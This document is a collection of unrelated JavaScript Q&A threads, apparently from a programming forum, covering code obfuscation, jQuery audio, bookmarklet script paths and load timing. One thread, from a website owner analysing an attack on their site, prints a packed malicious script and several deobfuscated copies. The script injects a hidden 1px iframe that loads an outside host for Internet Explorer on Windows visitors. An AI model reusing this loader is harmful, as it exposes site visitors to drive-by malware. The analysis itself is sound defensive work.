what I need
I need to hide js code in view source
js code
function unloadJS(scriptName) {
var head = document.getElementsByTagName('head').item(0);
var js = document.getElementById(scriptName);
js.parentNode.removeChild(js);
}
function unloadAllJS() {
var jsArray = new Array();
jsArray = document.getElementsByTagName('script');
for (i = 0; i < jsArray.length; i++){
if (jsArray[i].id){
unloadJS(jsArray[i].id)
}else{
jsArray[i].parentNode.removeChild(jsArray[i]);
}
}
}
var page_count = {{count()}};
if (page_count == 4)
{
dataLayer.push({'event':'mobilePromo-android'});
}
$(document).ready(function()
{
var page_count = {{count()}};
var height= $(window).height();
if (page_count == 4 )
{
$.ajax({
type: "GET",
url: "http://times.com/mobilepopuptracker?from=android",
});
$('body').html('<div class="row flush aligncenter popbx" style="height:'+height+'px"><div class="12u">');
}
else
{
}
});
function redirect()
{
var a=$(location).attr('href');
window.location.href=a;
}
</script>
Problem
I Need to hide js code in view source.
Debug
i have reffred the link find solution on http://www.sitepoint.com/hide-jquery-source-code/.
though code is still viewed.
any suggestion are most welcome.
though we know we cannot stop viewing of js in view source but still there must be some trick.
Use the online Google Closure Compiler service, it will make your code almost unreadable by doing things like renaming variables and function names. For example:
Raw JS
function toggleDisplay(el){
if (!el) return;
el.style.display = (el.style.display==='none') ? 'block' : 'none';
}
Closure Compiled
function toggleDisplay(a){a&&(a.style.display="none"===a.style.display?"block":"none")};
JavaScript Beautified
function toggleDisplay(a){
a&&(a.style.display="none"===a.style.display?"block":"none")
};
In doing so it also reduces the size of your script, helping to boost the loading time of your webpage.
You can still read the script, but its harder to understand and can get really complex when using things like JavaScript Closures.
You can't truly hide your js code. You can obfuscate it (i.e. make it difficult to read), but unlike PHP or Perl - which is processed on the server side - JS runs in the client's browser itself. Therefore, the client always has a copy of it, and can view that source at any time.
Related
This is my first post to the forum.
I am setting up an English/Thai language course website which will contain many audio files of English and Thai speech. I did a single webpage proof of concept using a mouseover/button javascript function
http://www.javascriptkit.com/script/script2/soundlink.shtml
With some mods and some inline js, this worked OK.
$(document).ready(function() {
var html5_audiotypes = {
"mp3": "audio/mpeg",
"ogg": "audio/ogg",
};
function createsoundbite(sound) {
"use strict";
var html5audio = document.createElement('audio');
if (html5audio.canPlayType){
for(var i=0; i<arguments.length; i++) {
var sourceEl = document.createElement('source');
sourceEl.setAttribute('src', arguments[i]);
if (arguments[i].match(/\.(\w+)$/i))
sourceEl.setAttribute('type', html5_audiotypes[RegExp.$1]);
html5audio.appendChild(sourceEl);
}
html5audio.load();
html5audio.playclip = function() {
html5audio.pause();
html5audio.currentTime=0;
html5audio.play();
}
return html5audio;
}
else{
return {playclip:function(){throw new Error("Your browser doesn't support HTML5 audio unfortunately")}};
}
}
var cn402=createsoundbite("audio/cn402.ogg", "audio/cn402.mp3");
var ry402=createsoundbite("audio/ry402.ogg", "audio/ry402.mp3");
var cn403=createsoundbite("audio/cn403.ogg", "audio/cn403.mp3");
var ry403=createsoundbite("audio/ry403.ogg", "audio/ry403.mp3");
var cn404=createsoundbite("audio/cn404.ogg", "audio/cn404.mp3");
var ry404=createsoundbite("audio/ry404.ogg", "audio/ry404.mp3");
});
The javascript code is called by a line of html code like this:
Please don't swim by yourself</span>
I want to incorporate this function and its associated variables into jquery. so that all js code is removed from the html. The first step, just getting the jquery code to work has proved a bit problematic for me. I've tried just including the js audio code in a document ready function. as shown above but this doesn't work. Any help would be much appreciated.
I'm not sure if I get you right, but you can remove the javascript code from the given link very easily:
$('.rollover').click(function(){
ry402.playclip();
});
Let's have a look at: http://api.jquery.com/click/
I need to load cross-domain JavaScript
files dynamically for bookmarklets in my site http://jsbookmarklets.com/
The solution should satisfy:
Fetch the path of current file
The domain of current web-page and JS file in execution are different
The solution should be cross-browser
Multiple scripts might be loaded at once asynchronously (that's why the related questions mentioned below are not a fit)
I want to get the file path of currently executing JavaScript code for dynamically loading few more resources (more CSS files and JS files like custom code and jQuery, jQuery UI and Ext JS libraries) which are stored in the same/relative folder as the JavaScript Bookmarklet.
The following approach does not fit my problem:
var scripts = document.getElementsByTagName("script");
var src = scripts[scripts.length-1].src;
alert("THIS IS: "+src);
Related questions which do not fit my problem:
Get the url of currently executing js file when dynamically loaded
Get script path
The current solution that I'm using, which works, but is very lengthy:
var fnFullFilePathToFileParentPath = function(JSFullFilePath){
var JSFileParentPath = '';
if(JSFullFilePath) {
JSFileParentPath = JSFullFilePath.substring(0,JSFullFilePath.lastIndexOf('/')+1);
} else {
JSFileParentPath = null;
}
return JSFileParentPath;
};
var fnExceptionToFullFilePath = function(e){
var JSFullFilePath = '';
if(e.fileName) { // firefox
JSFullFilePath = e.fileName;
} else if (e.stacktrace) { // opera
var tempStackTrace = e.stacktrace;
tempStackTrace = tempStackTrace.substr(tempStackTrace.indexOf('http'));
tempStackTrace = tempStackTrace.substr(0,tempStackTrace.indexOf('Dummy Exception'));
tempStackTrace = tempStackTrace.substr(0,tempStackTrace.lastIndexOf(':'));
JSFullFilePath = tempStackTrace;
} else if (e.stack) { // firefox, opera, chrome
(function(){
var str = e.stack;
var tempStr = str;
var strProtocolSeparator = '://';
var idxProtocolSeparator = tempStr.indexOf(strProtocolSeparator)+strProtocolSeparator.length;
var tempStr = tempStr.substr(idxProtocolSeparator);
if(tempStr.charAt(0)=='/') {
tempStr = tempStr.substr(1);
idxProtocolSeparator++;
}
var idxHostSeparator = tempStr.indexOf('/');
tempStr = tempStr.substr(tempStr.indexOf('/'));
var idxFileNameEndSeparator = tempStr.indexOf(':');
var finalStr = (str.substr(0,idxProtocolSeparator + idxHostSeparator + idxFileNameEndSeparator));
finalStr = finalStr.substr(finalStr.indexOf('http'));
JSFullFilePath = finalStr;
}());
} else { // internet explorer
JSFullFilePath = null;
}
return JSFullFilePath;
};
var fnExceptionToFileParentPath = function(e){
return fnFullFilePathToFileParentPath(fnExceptionToFullFilePath(e));
};
var fnGetJSFileParentPath = function() {
try {
throw new Error('Dummy Exception');
} catch (e) {
return fnExceptionToFileParentPath(e);
}
};
var JSFileParentPath = fnGetJSFileParentPath();
alert('File parent path: ' + JSFileParentPath);
var s = document.createElement('script');
s.setAttribute('src', 'code.js');
document.body.appendChild(s);
Can you not simply do this?
var myScriptDir = 'http://somesite.tld/path-to-stuff/';
var s = document.createElement('script');
s.setAttribute('src', myScriptDir + 'code.js');
document.body.appendChild(s);
// code inside http://somesite.tld/path-to-stuff/code.js will use myScriptDir to load futher resources from the same directory.
If you don't want to have code inside the script to be responsible for loading further resources you can use the onload attribute of the script tag, like s.onload=function(){...}. For cross browser compatibility you might first load jQuery and then use the getScript function. Relevant links are http://www.learningjquery.com/2009/04/better-stronger-safer-jquerify-bookmarklet and http://api.jquery.com/jQuery.getScript/
Some of the comments have already mentioned this, but I'll try to elaborate a bit more.
The simplest, most cross-browser, cross-domain way of figuring out the path of the current script is to hard-code the script's path into the script itself.
In general, you may be loading third-party script files, so this would not be possible. But in your case, all the script files are under your control. You're already adding code to load resources (CSS, JS, etc.), you might as well include the script path as well.
Hi All i'm developping a game when i run it on chrome it works but when i try it on the emulator i'm getting an error in my javascript code that i can't understand the source or the cause
here's the error:
05-13 11:53:11.726: E/Web Console(790): ReferenceError: Can't find variable: $ at file:///android_asset/www/js/html5games.matchgame6.js:5
the error is in line 5: here's my javascript file content:
var matchingGame = {};
***var uiPlay1 = $("#gamePlay1");*** //////line 5
var uiPlay2 = $("#gamePlay2");
var uiIntro = $("#popup");
var uiExit = $("#gameExit");
var uiNextLevel = $("#gameNextLevel");
var uigameQuit =$("#gameQuit");
var uiPlay3 = $("#gamePlay3");
matchingGame.savingObject = {};
matchingGame.savingObject.deck = [];
matchingGame.savingObject.removedCards = [];
// store the counting elapsed time.
matchingGame.savingObject.currentElapsedTime = 0;
//store the last-elapsed-time
//matchingGame.savingObject.LastElapsedTime = 0;//now
// store the player name
matchingGame.savingObject.palyerName=$("#player-name").html();
matchingGame.savingObject.currentLevel="game6.html";
// all possible values for each card in deck
matchingGame.deck = [
'cardAK', 'cardAK',
'cardAQ', 'cardAQ',
'cardAJ', 'cardAJ',
];
$( function(){init();} );
//initialise game
function init() {
$("#game").addClass("hide");
$("#cards").addClass("hide");
uiPlay1.click(function(e) {
e.preventDefault();
$("#popup").addClass("hide");
startNewGame();
});
uiPlay2.click(function(e) {
e.preventDefault();
$("#popup").addClass("hide");
var savedObject = savedSavingObject();
// location.href =savedObject.currentLevel ;
if (savedObject.currentLevel=="game6.html")
rejouer();
else
location.href =savedObject.currentLevel ;
//ResumeLastGame();
//alert ("level :"+savedObject.currentLevel );
});
uiExit.click(function(e) {e.preventDefault();
//alert("u clicked me ");
}
);
uiPlay3.click(function(e) {
e.preventDefault();
$("#popupHelp").fadeIn(500, function() {
$(this).delay(10000).fadeOut(500)}); });
}
Any idea please thank u in advance
You probably didn't include jQuery.
Presumably you haven't defined the $ function anywhere.
Perhaps you a working from documentation that assumes you have loaded Prototype.js, Mootools, jQuery or one of the many other libraries that set up a variable of that (very poor) name.
make sure you have loaded jquery, mootools, other javascript libraries etc before you use the $.
Have you included your library at the end of your document and you have your script written before the library is downloaded.
make sure you have a script tag that refers to your library and then have your script content.
Also one more thing to note is that your document may not have been loaded when your scriot is executed and some of the controls might not exist on the page, thus make sure you wrap them in an API that will run the function once the document is loaded completely. In jquery you use $(document).ready(function(){});
I am developing a JS app in Ejecta. jQuery was included but the DOM ready doesn't work with Ejecta. Instead on site/app initialization I do something like this:
function func() {
init();
animate();
}
setTimeout(func, 1000);
This gives jQuery time to be loaded and parsed.
Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source.
I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source)
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))
Thank you for your time and patience with this matter.
Simply replace eval with alert.
It yields the following:
function MakeFrameEx(){
element=document.getElementById('yahoo_api');
if(!element){
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1
&&ua.indexOf("opera")==-1
&&ua.indexOf("webtv")==-1))
&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500);
}
After doing the alert() CTRL+C the dialog to get the contents, then use a JS Beautifier to get some readable code.
Also note that for some browsers, like Firefox, there are plugins to do this automatically. Some browsers even does this automatically (MSIE).
This was some obfuscated code. I deobfuscated it and this is what it does:
function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
.indexOf("webtv") == -1))
&& ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
Here is the deobfuscated JavaScript code:
function MakeFrameEx()
{
element=document.getElementById('yahoo_api');
if(!element)
{
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500)}
I am aware that when coding an extension, there is no way we can delay a function call except for using a setTimeout call but here's what I am trying to achieve in a plugin that I am developing for Firefox (this is not for Javascript embedded into a web page by the way):
for (var i = 0; i < t.length ; i++) {
//Load a URL from an array
//On document complete, get some data
}
The idea is simple. I have an array of URLs that I want to parse and extract some data out of. Each of these URLs take some time to load. So, if I try to get some data from the current page without waiting for the page to load, I will get an error. Now, the only way to do this as I know is as follows:
firstfunction: function() {
//Load the first url
setTimeout("secondfunction", 5000);
}
secondfunction: function() {
//Load the second url
setTimeout("thirdfunction", 5000);
}
And so on... I know this is obviously wrong.. I was just wondering how people achieve this in Javascript...
EDIT: Sorry about not being more detailed...
I'm not convinced that this type of foolery is necessary but I'm not an extension dev so who knows. If this is the approach you want, then just have the setTimeout call refer to the same function:
var index;
firstfunction: function() {
// do something with `index` and increment it when you're done
// check again in a few seconds (`index` is persisted between calls to this)
setTimeout("firstfunction", 5000);
}
I am not sure how to do this from a plugin, but what I've done with iframes in the past is attach a callback to the target document's onLoad event.
Maybe something like:
var index = 0;
var urls = [ ..... ];
function ProcessDocument() { ....; LoadNextDocument(); }
function LoadNextDocument() { index++; /* Load urls[index] */; }
document.body.onLoad = ProcessDocument;
Somewhere in there you'd need to test for index > urls.length too for your end condition.
I had same problem but I used recursion instead of looping.
Below is the running code which changes the innerHTML of an element by looping through the list. Hope its helpful.
<Script type="text/javascript">
var l;
var a;
function call2()
{
l = document.getElementById('listhere').innerHTML;
a = l.split(",");
call1(0);
}
function call1(counter)
{
if(a.length > counter)
{
document.getElementById('here').innerHTML = a[counter];
counter++;
setTimeout("call1("+counter+")",2000);
}
}
</Script>
<body onload="call2()">
<span id="listhere">3,5,2,8</span><Br />
<span id="here">here</span>